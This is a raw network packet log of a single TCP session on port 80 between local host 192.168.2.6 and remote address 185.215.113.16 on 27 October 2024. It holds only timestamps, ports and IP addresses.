Oct 27, 2024 07:59:22.613428116 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.613604069 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.613666058 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.613676071 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.613723040 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.613733053 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.613743067 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.613758087 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.613766909 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.613775015 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.613950014 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.613971949 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.614161968 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.614171982 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.614183903 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.614254951 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.614254951 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.614269972 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.614283085 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.614293098 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.614351034 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.614362001 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.614388943 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.614391088 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.614402056 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.614403963 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.614420891 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.614430904 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.614475965 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.614475965 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.614902973 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.615072012 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.615088940 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.615101099 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.615112066 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.615122080 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.615133047 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.615145922 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.615154028 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.615154028 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.615154028 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.615173101 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.615185022 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.615195990 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.615223885 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.615223885 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.615262032 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.653166056 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.653187990 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.653199911 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.653211117 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.653219938 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.653243065 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.653336048 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.653368950 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.653378963 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.653388977 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.653409958 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.653436899 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.653562069 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.653578997 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.653647900 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.655365944 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655380964 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655392885 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655402899 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655412912 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655431032 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655441046 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655447006 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655452013 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655457020 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655462027 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655467987 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655474901 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655478954 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655488968 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655493975 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655502081 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655517101 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.655517101 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.655524969 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.655536890 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655546904 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655556917 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655616999 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.655616999 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.655643940 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655653000 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655700922 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.655751944 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655771017 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655781984 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655793905 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.655848026 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.655848026 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.699723959 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.699738026 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.699749947 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.699764967 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.699795961 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.699806929 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.699848890 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.699848890 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.699860096 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.699909925 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.699923038 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.699930906 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.699935913 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.699943066 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.700036049 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.728420973 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.728470087 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.728487015 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.728498936 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.728509903 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.728589058 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.728600025 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.728610992 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.728621960 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.728734016 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.728812933 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.728823900 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.728873968 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.728873968 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.728920937 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.728945017 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.729000092 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.729055882 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.729068041 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.729094982 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.729101896 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.729111910 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.729123116 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.729175091 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.729182959 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.729361057 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.729398012 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.729448080 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.729459047 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.729469061 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.729479074 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.729490995 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.729500055 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.729521036 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.729650974 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.729650974 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.729800940 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.729813099 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.729825020 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.729903936 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.729914904 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.729926109 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.729958057 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.729967117 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.729967117 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.730355024 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.730365992 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.730387926 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.730397940 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.730408907 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.730418921 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.730441093 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.730453968 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.730460882 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.730470896 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.730490923 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.730503082 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.730534077 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.730534077 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.730534077 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.768410921 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.768425941 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.768439054 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.768470049 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.768486977 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.768497944 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.768527031 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.768549919 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.768559933 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.768598080 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.768615961 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.768636942 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.768649101 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.768717051 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.768717051 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.770000935 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.770011902 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.770024061 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.770034075 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.770045996 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.770086050 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.770124912 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.770136118 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.770147085 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.770164013 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.770169020 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.770195007 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.770312071 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.770379066 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.770390987 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.770427942 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.770447016 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.770447016 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.770500898 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.770510912 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.770522118 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.770585060 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.770591974 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.770616055 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.770657063 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.770665884 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.770678043 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.770689011 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.770723104 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.770723104 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.770900965 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.770912886 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.770925045 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.771027088 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.771039009 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.771049976 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.771059990 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.771089077 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.812083006 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.814944983 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.814958096 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.814969063 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.814979076 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.814990044 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.815043926 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.815058947 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.815068960 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.815080881 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.815108061 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.815191984 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.815201998 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.815212965 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.815234900 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.815267086 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.815321922 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.815334082 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.815350056 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.815382957 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.815382957 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.843722105 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.843766928 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.843777895 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.843789101 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.843806982 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.843838930 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.843848944 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.843859911 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.843880892 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.843890905 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.843909025 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.843941927 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.843952894 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.843961954 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.843971014 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.843981028 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.843990088 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.844044924 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.844044924 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.844304085 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.844363928 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.844434977 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.844445944 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.844456911 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.844468117 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.844477892 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.844554901 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.844554901 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.844645023 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.844660997 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.844671965 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.844686031 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.844703913 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.844716072 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.844727993 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.844737053 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.844810963 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.844810963 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.845057964 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.845068932 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.845086098 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.845139027 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.845155001 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.845196962 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.845207930 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.845218897 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.845228910 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.845242023 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.845254898 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.845259905 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.845293045 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.845400095 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.845572948 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.845583916 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.845659971 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.845700979 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.845716953 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.845731020 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.845745087 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.845757961 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.845772028 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.845784903 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.845797062 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.845820904 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.845982075 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.845992088 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.846003056 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.846050024 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.883616924 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.883630037 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.883647919 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.883660078 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.883671999 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.883698940 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.883716106 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.883727074 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.883735895 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.883763075 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.883774996 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.883934975 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.883945942 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.883956909 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.884016037 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.884030104 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.885109901 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.885155916 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.885166883 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.885204077 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.885215044 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.885226011 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.885234118 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.885241032 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.885277033 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:22.885374069 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:22.885385036 CET	80	49750	185.215.113.16	192.168.2.6
